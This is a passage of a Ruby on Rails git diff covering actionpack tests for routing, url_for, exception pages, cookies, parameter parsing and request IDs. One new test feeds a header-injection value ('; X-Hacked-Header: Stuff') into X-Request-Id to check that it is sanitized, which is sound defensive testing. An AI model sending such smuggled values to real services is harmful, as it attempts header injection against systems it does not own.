- assert_equal '/people/1.xml', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' })
- assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => 1 })
- assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => Model.new('1') })
- assert_equal '/people/1', url_for(@routes, { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' })
- assert_equal '/people/1', url_for(@routes, { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' })
- assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' })
- assert_equal '/people/1', url_for(@routes, {}, { :controller => 'people', :action => 'show', :id => '1' })
- assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' })
- assert_equal '/people/1/edit', url_for(@routes, { :controller => 'people', :action => 'edit', :id => '1' })
- assert_equal '/people/1/edit.xml', url_for(@routes, { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' })
- assert_equal '/people/1/edit', url_for(@routes, { :use_route => 'edit_person', :id => '1' })
- assert_equal '/people/1?legacy=true', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' })
- assert_equal '/people?legacy=true', url_for(@routes, { :controller => 'people', :action => 'index', :legacy => 'true' })
-
- assert_equal '/id_default/2', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => '2' })
- assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => '1' })
- assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => 1 })
- assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default' })
- assert_equal '/optional/bar', url_for(@routes, { :controller => 'posts', :action => 'index', :optional => 'bar' })
- assert_equal '/posts', url_for(@routes, { :controller => 'posts', :action => 'index' })
-
- assert_equal '/project', url_for(@routes, { :controller => 'project', :action => 'index' })
- assert_equal '/projects/1', url_for(@routes, { :controller => 'project', :action => 'index', :project_id => '1' })
- assert_equal '/projects/1', url_for(@routes, { :controller => 'project', :action => 'index'}, {:project_id => '1' })
- assert_raise(ActionController::RoutingError) { url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index' }) }
- assert_equal '/projects/1', url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' })
- assert_equal '/projects/1', url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' })
-
- assert_equal '/clients', url_for(@routes, { :controller => 'projects', :action => 'index' })
- assert_equal '/clients?project_id=1', url_for(@routes, { :controller => 'projects', :action => 'index', :project_id => '1' })
- assert_equal '/clients', url_for(@routes, { :controller => 'projects', :action => 'index' }, { :project_id => '1' })
- assert_equal '/clients', url_for(@routes, { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' })
-
- assert_equal '/comment/20', url_for(@routes, { :id => 20 }, { :controller => 'comments', :action => 'show' })
- assert_equal '/comment/20', url_for(@routes, { :controller => 'comments', :id => 20, :action => 'show' })
- assert_equal '/comments/boo', url_for(@routes, { :controller => 'comments', :action => 'boo' })
-
- assert_equal '/ws/posts/show/1', url_for(@routes, { :controller => 'posts', :action => 'show', :id => '1', :ws => true })
- assert_equal '/ws/posts', url_for(@routes, { :controller => 'posts', :action => 'index', :ws => true })
-
- assert_equal '/account', url_for(@routes, { :controller => 'account', :action => 'subscription' })
- assert_equal '/account/billing', url_for(@routes, { :controller => 'account', :action => 'billing' })
-
- assert_equal '/pages/1/notes/show/1', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' })
- assert_equal '/pages/1/notes/list', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'list' })
- assert_equal '/pages/1/notes', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'index' })
- assert_equal '/pages/1/notes', url_for(@routes, { :page_id => '1', :controller => 'notes' })
- assert_equal '/notes', url_for(@routes, { :page_id => nil, :controller => 'notes' })
- assert_equal '/notes', url_for(@routes, { :controller => 'notes' })
- assert_equal '/notes/print', url_for(@routes, { :controller => 'notes', :action => 'print' })
- assert_equal '/notes/print', url_for(@routes, {}, { :controller => 'notes', :action => 'print' })
-
- assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1' })
- assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' })
- assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1' })
- assert_equal '/notes/index/1', url_for(@routes, { :action => 'index' }, { :controller => 'notes', :id => '1' })
- assert_equal '/notes/index/1', url_for(@routes, {}, { :controller => 'notes', :id => '1' })
- assert_equal '/notes/show/1', url_for(@routes, {}, { :controller => 'notes', :action => 'show', :id => '1' })
- assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes', :id => '1' }, { :foo => 'bar' })
- assert_equal '/posts', url_for(@routes, { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' })
- assert_equal '/notes/list', url_for(@routes, { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' })
-
- assert_equal '/posts/ping', url_for(@routes, { :controller => 'posts', :action => 'ping' })
- assert_equal '/posts/show/1', url_for(@routes, { :controller => 'posts', :action => 'show', :id => '1' })
- assert_equal '/posts', url_for(@routes, { :controller => 'posts' })
- assert_equal '/posts', url_for(@routes, { :controller => 'posts', :action => 'index' })
- assert_equal '/posts', url_for(@routes, { :controller => 'posts' }, { :controller => 'posts', :action => 'index' })
- assert_equal '/posts/create', url_for(@routes, { :action => 'create' }, { :controller => 'posts' })
- assert_equal '/posts?foo=bar', url_for(@routes, { :controller => 'posts', :foo => 'bar' })
- assert_equal '/posts?foo%5B%5D=bar&foo%5B%5D=baz', url_for(@routes, { :controller => 'posts', :foo => ['bar', 'baz'] })
- assert_equal '/posts?page=2', url_for(@routes, { :controller => 'posts', :page => 2 })
- assert_equal '/posts?q%5Bfoo%5D%5Ba%5D=b', url_for(@routes, { :controller => 'posts', :q => { :foo => { :a => 'b'}} })
-
- assert_equal '/news.rss', url_for(@routes, { :controller => 'news', :action => 'index', :format => 'rss' })
-
-
- assert_raise(ActionController::RoutingError) { url_for(@routes, { :action => 'index' }) }
- end
-
def test_generate_extras
assert_equal ['/people', []], @routes.generate_extras(:controller => 'people')
assert_equal ['/people', [:foo]], @routes.generate_extras(:controller => 'people', :foo => 'bar')
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
new file mode 100644
index 0000000000..74067cb895
--- /dev/null
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+
+module ShowExceptions
+ class ShowExceptionsController < ActionController::Base
+ use ActionDispatch::ShowExceptions
+
+ def boom
+ raise 'boom!'
+ end
+ end
+
+ class ShowExceptionsTest < ActionDispatch::IntegrationTest
+ test 'show error page from a remote ip' do
+ @app = ShowExceptionsController.action(:boom)
+ self.remote_addr = '208.77.188.166'
+ get '/'
+ assert_equal "500 error fixture\n", body
+ end
+
+ test 'show diagnostics from a local ip' do
+ @app = ShowExceptionsController.action(:boom)
+ ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
+ self.remote_addr = ip_address
+ get '/'
+ assert_match(/boom/, body)
+ end
+ end
+
+ test 'show diagnostics from a remote ip when consider_all_requests_local is true' do
+ ShowExceptionsController.any_instance.stubs(:consider_all_requests_local).returns(true)
+ @app = ShowExceptionsController.action(:boom)
+ self.remote_addr = '208.77.188.166'
+ get '/'
+ assert_match(/boom/, body)
+ end
+ end
+
+ class ShowExceptionsOverridenController < ShowExceptionsController
+ private
+
+ def show_detailed_exceptions?
+ params['detailed'] == '1'
+ end
+ end
+
+ class ShowExceptionsOverridenTest < ActionDispatch::IntegrationTest
+ test 'show error page' do
+ @app = ShowExceptionsOverridenController.action(:boom)
+ get '/', {'detailed' => '0'}
+ assert_equal "500 error fixture\n", body
+ end
+
+ test 'show diagnostics message' do
+ @app = ShowExceptionsOverridenController.action(:boom)
+ get '/', {'detailed' => '1'}
+ assert_match(/boom/, body)
+ end
+ end
+end
diff --git a/actionpack/test/controller/test_test.rb b/actionpack/test/controller/test_test.rb
index 043d44500a..b64e275363 100644
--- a/actionpack/test/controller/test_test.rb
+++ b/actionpack/test/controller/test_test.rb
@@ -50,6 +50,10 @@ class TestTest < ActionController::TestCase
render :text => request.query_string
end
+ def test_protocol
+ render :text => request.protocol
+ end
+
def test_html_output
render :text => <<HTML
<html>
@@ -142,6 +146,17 @@ XML
end
end
+ class ViewAssignsController < ActionController::Base
+ def test_assigns
+ @foo = "foo"
+ render :nothing => true
+ end
+
+ def view_assigns
+ { "bar" => "bar" }
+ end
+ end
+
def test_raw_post_handling
params = ActiveSupport::OrderedHash[:page, {:name => 'page name'}, 'some key', 123]
post :render_raw_post, params.dup
@@ -252,6 +267,15 @@ XML
assert_equal "foo", assigns["foo"]
end
+ def test_view_assigns
+ @controller = ViewAssignsController.new
+ process :test_assigns
+ assert_equal nil, assigns(:foo)
+ assert_equal nil, assigns[:foo]
+ assert_equal "bar", assigns(:bar)
+ assert_equal "bar", assigns[:bar]
+ end
+
def test_assert_tag_tag
process :test_html_output
@@ -515,6 +539,12 @@ XML
)
end
+ def test_params_passing_doesnt_modify_in_place
+ page = {:name => "Page name", :month => 4, :year => 2004, :day => 6}
+ get :test_params, :page => page
+ assert_equal 2004, page[:year]
+ end
+
def test_id_converted_to_string
get :test_params, :id => 20, :foo => Object.new
assert_kind_of String, @request.path_parameters['id']
@@ -592,6 +622,19 @@ XML
assert_nil @request.symbolized_path_parameters[:id]
end
+ def test_request_protocol_is_reset_after_request
+ get :test_protocol
+ assert_equal "http://", @response.body
+
+ @request.env["HTTPS"] = "on"
+ get :test_protocol
+ assert_equal "https://", @response.body
+
+ @request.env.delete("HTTPS")
+ get :test_protocol
+ assert_equal "http://", @response.body
+ end
+
def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
cookies['foo'] = 'bar'
get :no_op
@@ -731,6 +774,22 @@ class CrazyNameTest < ActionController::TestCase
end
end
+class CrazySymbolNameTest < ActionController::TestCase
+ tests :content
+
+ def test_set_controller_class_using_symbol
+ assert_equal ContentController, self.class.controller_class
+ end
+end
+
+class CrazyStringNameTest < ActionController::TestCase
+ tests 'content'
+
+ def test_set_controller_class_using_string
+ assert_equal ContentController, self.class.controller_class
+ end
+end
+
class NamedRoutesControllerTest < ActionController::TestCase
tests ContentController
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
new file mode 100644
index 0000000000..451ea6027d
--- /dev/null
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -0,0 +1,177 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_controllers'
+require 'active_support/core_ext/object/with_options'
+
+module ActionPack
+ class URLForIntegrationTest < ActiveSupport::TestCase
+ include RoutingTestHelpers
+
+ Model = Struct.new(:to_param)
+
+ Mapping = lambda {
+ namespace :admin do
+ resources :users, :posts
+ end
+
+ namespace 'api' do
+ root :to => 'users#index'
+ end
+
+ match '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
+ :constraints => {
+ :year => /(19|20)\d\d/,
+ :month => /[01]?\d/,
+ :day => /[0-3]?\d/
+ },
+ :day => nil,
+ :month => nil
+
+ match 'archive/:year', :controller => 'archive', :action => 'index',
+ :defaults => { :year => nil },
+ :constraints => { :year => /\d{4}/ },
+ :as => "blog"
+
+ resources :people
+ #match 'legacy/people' => "people#index", :legacy => "true"
+
+ match 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
+ match 'id_default(/:id)' => "foo#id_default", :id => 1
+ match 'get_or_post' => "foo#get_or_post", :via => [:get, :post]
+ match 'optional/:optional' => "posts#index"
+ match 'projects/:project_id' => "project#index", :as => "project"
+ match 'clients' => "projects#index"
+
+ match 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
+ match 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
+ :postalcode => /# Postcode format
+ \d{5} #Prefix
+ (-\d{4})? #Suffix
+ /x
+ }, :as => "geocode"
+
+ match 'news(.:format)' => "news#index"
+
+ match 'comment/:id(/:action)' => "comments#show"
+ match 'ws/:controller(/:action(/:id))', :ws => true
+ match 'account(/:action)' => "account#subscription"
+ match 'pages/:page_id/:controller(/:action(/:id))'
+ match ':controller/ping', :action => 'ping'
+ match ':controller(/:action(/:id))(.:format)'
+ root :to => "news#index"
+ }
+
+ def setup
+ @routes = ActionDispatch::Routing::RouteSet.new
+ @routes.draw(&Mapping)
+ end
+
+ [
+ ['/admin/users',[ { :use_route => 'admin_users' }]],
+ ['/admin/users',[ { :controller => 'admin/users' }]],
+ ['/admin/users',[ { :controller => 'admin/users', :action => 'index' }]],
+ ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users' }]],
+ ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }]],
+ ['/people',[ { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }]],
+
+ ['/admin/posts',[ { :controller => 'admin/posts' }]],
+ ['/admin/posts/new',[ { :controller => 'admin/posts', :action => 'new' }]],
+
+ ['/blog/2009',[ { :controller => 'posts', :action => 'show_date', :year => 2009 }]],
+ ['/blog/2009/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 }]],
+ ['/blog/2009/1/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 }]],
+
+ ['/archive/2010',[ { :controller => 'archive', :action => 'index', :year => '2010' }]],
+ ['/archive',[ { :controller => 'archive', :action => 'index' }]],
+ ['/archive?year=january',[ { :controller => 'archive', :action => 'index', :year => 'january' }]],
+
+ ['/people',[ { :controller => 'people', :action => 'index' }]],
+ ['/people',[ { :action => 'index' }, { :controller => 'people' }]],
+ ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ {}, { :controller => 'people', :action => 'index' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/new',[ { :use_route => 'new_person' }]],
+ ['/people/new',[ { :controller => 'people', :action => 'new' }]],
+ ['/people/1',[ { :use_route => 'person', :id => '1' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/1.xml',[ { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show', :id => 1 }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show', :id => Model.new('1') }]],
+ ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }]],
+ ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }]],
+ ['/people/1/edit',[ { :controller => 'people', :action => 'edit', :id => '1' }]],
+ ['/people/1/edit.xml',[ { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }]],
+ ['/people/1/edit',[ { :use_route => 'edit_person', :id => '1' }]],
+ ['/people/1?legacy=true',[ { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' }]],
+ ['/people?legacy=true',[ { :controller => 'people', :action => 'index', :legacy => 'true' }]],
+
+ ['/id_default/2',[ { :controller => 'foo', :action => 'id_default', :id => '2' }]],
+ ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => '1' }]],
+ ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => 1 }]],
+ ['/id_default',[ { :controller => 'foo', :action => 'id_default' }]],
+ ['/optional/bar',[ { :controller => 'posts', :action => 'index', :optional => 'bar' }]],
+ ['/posts',[ { :controller => 'posts', :action => 'index' }]],
+
+ ['/project',[ { :controller => 'project', :action => 'index' }]],
+ ['/projects/1',[ { :controller => 'project', :action => 'index', :project_id => '1' }]],
+ ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1' }]],
+ ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }]],
+ ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }]],
+
+ ['/clients',[ { :controller => 'projects', :action => 'index' }]],
+ ['/clients?project_id=1',[ { :controller => 'projects', :action => 'index', :project_id => '1' }]],
+ ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1' }]],
+ ['/clients',[ { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }]],
+
+ ['/comment/20',[ { :id => 20 }, { :controller => 'comments', :action => 'show' }]],
+ ['/comment/20',[ { :controller => 'comments', :id => 20, :action => 'show' }]],
+ ['/comments/boo',[ { :controller => 'comments', :action => 'boo' }]],
+
+ ['/ws/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1', :ws => true }]],
+ ['/ws/posts',[ { :controller => 'posts', :action => 'index', :ws => true }]],
+
+ ['/account',[ { :controller => 'account', :action => 'subscription' }]],
+ ['/account/billing',[ { :controller => 'account', :action => 'billing' }]],
+
+ ['/pages/1/notes/show/1',[ { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/pages/1/notes/list',[ { :page_id => '1', :controller => 'notes', :action => 'list' }]],
+ ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes', :action => 'index' }]],
+ ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes' }]],
+ ['/notes',[ { :page_id => nil, :controller => 'notes' }]],
+ ['/notes',[ { :controller => 'notes' }]],
+ ['/notes/print',[ { :controller => 'notes', :action => 'print' }]],
+ ['/notes/print',[ {}, { :controller => 'notes', :action => 'print' }]],
+
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }]],
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
+ ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1' }]],
+ ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1' }]],
+ ['/notes/show/1',[ {}, { :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/notes/index/1',[ { :controller => 'notes', :id => '1' }, { :foo => 'bar' }]],
+ ['/posts',[ { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
+
+ ['/posts/ping',[ { :controller => 'posts', :action => 'ping' }]],
+ ['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1' }]],
+ ['/posts',[ { :controller => 'posts' }]],
+ ['/posts',[ { :controller => 'posts', :action => 'index' }]],
+ ['/posts',[ { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }]],
+ ['/posts/create',[ { :action => 'create' }, { :controller => 'posts' }]],
+ ['/posts?foo=bar',[ { :controller => 'posts', :foo => 'bar' }]],
+ ['/posts?foo%5B%5D=bar&foo%5B%5D=baz', [{ :controller => 'posts', :foo => ['bar', 'baz'] }]],
+ ['/posts?page=2', [{ :controller => 'posts', :page => 2 }]],
+ ['/posts?q%5Bfoo%5D%5Ba%5D=b', [{ :controller => 'posts', :q => { :foo => { :a => 'b'}} }]],
+
+ ['/news.rss', [{ :controller => 'news', :action => 'index', :format => 'rss' }]],
+ ].each_with_index do |(url, params), i|
+ define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+ assert_equal url, url_for(@routes, *params), params.inspect
+ end
+ end
+ end
+end
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index 484e996f31..dc07e07cb9 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -16,6 +16,10 @@ module AbstractController
W.default_url_options[:host] = 'www.basecamphq.com'
end
+ def add_numeric_host!
+ W.default_url_options[:host] = '127.0.0.1'
+ end
+
def test_exception_is_thrown_without_host
assert_raise ArgumentError do
W.new.url_for :controller => 'c', :action => 'a', :id => 'i'
@@ -67,6 +71,27 @@ module AbstractController
)
end
+ def test_subdomain_may_be_removed
+ add_host!
+ assert_equal('http://basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_multiple_subdomains_may_be_removed
+ W.default_url_options[:host] = 'mobile.www.api.basecamphq.com'
+ assert_equal('http://basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_subdomain_may_be_accepted_with_numeric_host
+ add_numeric_host!
+ assert_equal('http://127.0.0.1/c/a/i',
+ W.new.url_for(:subdomain => 'api', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
def test_domain_may_be_changed
add_host!
assert_equal('http://www.37signals.com/c/a/i',
diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb
index 89de4c1da4..f88903b10e 100644
--- a/actionpack/test/controller/url_rewriter_test.rb
+++ b/actionpack/test/controller/url_rewriter_test.rb
@@ -70,9 +70,9 @@ class UrlRewriterTests < ActionController::TestCase
)
end
- def test_anchor_should_be_cgi_escaped
+ def test_anchor_should_be_uri_escaped
assert_equal(
- 'http://test.host/c/a/i#anc%2Fhor',
+ 'http://test.host/c/a/i#anc/hor',
@rewriter.rewrite(@routes, :controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anc/hor'))
)
end
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index fb67ecb07d..3765b7eb44 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -148,6 +148,22 @@ class CookiesTest < ActionController::TestCase
@request.host = "www.nextangle.com"
end
+ def test_each
+ request.cookie_jar['foo'] = :bar
+ list = []
+ request.cookie_jar.each do |k,v|
+ list << [k, v]
+ end
+
+ assert_equal [['foo', :bar]], list
+ end
+
+ def test_enumerable
+ request.cookie_jar['foo'] = :bar
+ actual = request.cookie_jar.map { |k,v| [k.to_s, v.to_s] }
+ assert_equal [['foo', 'bar']], actual
+ end
+
def test_key_methods
assert !request.cookie_jar.key?(:foo)
assert !request.cookie_jar.has_key?("foo")
@@ -194,8 +210,8 @@ class CookiesTest < ActionController::TestCase
assert_equal({"user_name" => "david"}, @response.cookies)
end
- def test_setting_cookie_with_secure_in_development
- Rails.env.stubs(:development?).returns(true)
+ def test_setting_cookie_with_secure_when_always_write_cookie_is_true
+ ActionDispatch::Cookies::CookieJar.any_instance.stubs(:always_write_cookie).returns(true)
get :authenticate_with_secure
assert_cookie_header "user_name=david; path=/; secure"
assert_equal({"user_name" => "david"}, @response.cookies)
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
index 3316dd03aa..d3465589c1 100644
--- a/actionpack/test/dispatch/mapper_test.rb
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -5,6 +5,7 @@ module ActionDispatch
class MapperTest < ActiveSupport::TestCase
class FakeSet
attr_reader :routes
+ alias :set :routes
def initialize
@routes = []
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 851fb59d51..08fe2127b9 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -107,8 +107,10 @@ class MimeTypeTest < ActiveSupport::TestCase
# Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
+
types.each do |type|
mime = Mime.const_get(type.to_s.upcase)
+ assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?"
assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?"
invalid_types = types - [type]
invalid_types.delete(:html) if Mime::Type.html_types.include?(type)
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index d854d55173..ad44b4b16a 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -32,13 +32,21 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
test "logs error if parsing unsuccessful" do
with_test_routing do
+ output = StringIO.new
+ json = "[\"person]\": {\"name\": \"David\"}}"
+ post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output)}
+ assert_response :error
+ output.rewind && err = output.read
+ assert err =~ /Error occurred while parsing request parameters/
+ end
+ end
+
+ test "occurring a parse error if parsing unsuccessful" do
+ with_test_routing do
begin
- $stderr = StringIO.new
+ $stderr = StringIO.new # suppress the log
json = "[\"person]\": {\"name\": \"David\"}}"
- post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true}
- assert_response :error
- $stderr.rewind && err = $stderr.read
- assert err =~ /Error occurred while parsing request parameters/
+ assert_raise(MultiJson::DecodeError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
ensure
$stderr = STDERR
end
diff --git a/actionpack/test/dispatch/request/xml_params_parsing_test.rb b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
index 38453dfe48..d8fa751548 100644
--- a/actionpack/test/dispatch/request/xml_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
@@ -54,13 +54,21 @@ class XmlParamsParsingTest < ActionDispatch::IntegrationTest
test "logs error if parsing unsuccessful" do
with_test_routing do
+ output = StringIO.new
+ xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></pineapple>"
+ post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output))
+ assert_response :error
+ output.rewind && err = output.read
+ assert err =~ /Error occurred while parsing request parameters/
+ end
+ end
+
+ test "occurring a parse error if parsing unsuccessful" do
+ with_test_routing do
begin
- $stderr = StringIO.new
- xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></pineapple>"
- post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => true)
- assert_response :error
- $stderr.rewind && err = $stderr.read
- assert err =~ /Error occurred while parsing request parameters/
+ $stderr = StringIO.new # suppress the log
+ xml = "<person><name>David</name></pineapple>"
+ assert_raise(REXML::ParseException) { post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => false) }
ensure
$stderr = STDERR
end
diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb
new file mode 100644
index 0000000000..b6e8b6c3ad
--- /dev/null
+++ b/actionpack/test/dispatch/request_id_test.rb
@@ -0,0 +1,65 @@
+require 'abstract_unit'
+
+class RequestIdTest < ActiveSupport::TestCase
+ test "passing on the request id from the outside" do
+ assert_equal "external-uu-rid", stub_request('HTTP_X_REQUEST_ID' => 'external-uu-rid').uuid
+ end
+
+ test "ensure that only alphanumeric uurids are accepted" do
+ assert_equal "X-Hacked-HeaderStuff", stub_request('HTTP_X_REQUEST_ID' => '; X-Hacked-Header: Stuff').uuid
+ end
+
+ test "ensure that 255 char limit on the request id is being enforced" do
+ assert_equal "X" * 255, stub_request('HTTP_X_REQUEST_ID' => 'X' * 500).uuid
+ end
+
+ test "generating a request id when none is supplied" do
+ assert_match(/\w+/, stub_request.uuid)
+ end
+
+ private
+
+ def stub_request(env = {})
+ ActionDispatch::RequestId.new(lambda { |environment| [ 200, environment, [] ] }).call(env)
+ ActionDispatch::Request.new(env)
+ end
+end
+
+class RequestIdResponseTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def index
+ head :ok
+ end
+ end
+
+ test "request id is passed all the way to the response" do
+ with_test_route_set do
+ get '/'
+ assert_match(/\w+/, @response.headers["X-Request-Id"])
+ end
+ end
+
+ test "request id given on request is passed all the way to the response" do
+ with_test_route_set do
+ get '/', {}, 'HTTP_X_REQUEST_ID' => 'X' * 500
+ assert_equal "X" * 255, @response.headers["X-Request-Id"]
+ end
+ end
+
+
+ private
+
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ match '/', :to => ::RequestIdResponseTest::TestController.action(:index)
+ end
+
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use ActionDispatch::RequestId
+ end
+
+ yield
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index 060bcfb5ec..4d805464c2 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -15,6 +15,7 @@ class RequestTest < ActiveSupport::TestCase
assert_equal 'http://www.example.com', url_for
assert_equal 'http://api.example.com', url_for(:subdomain => 'api')
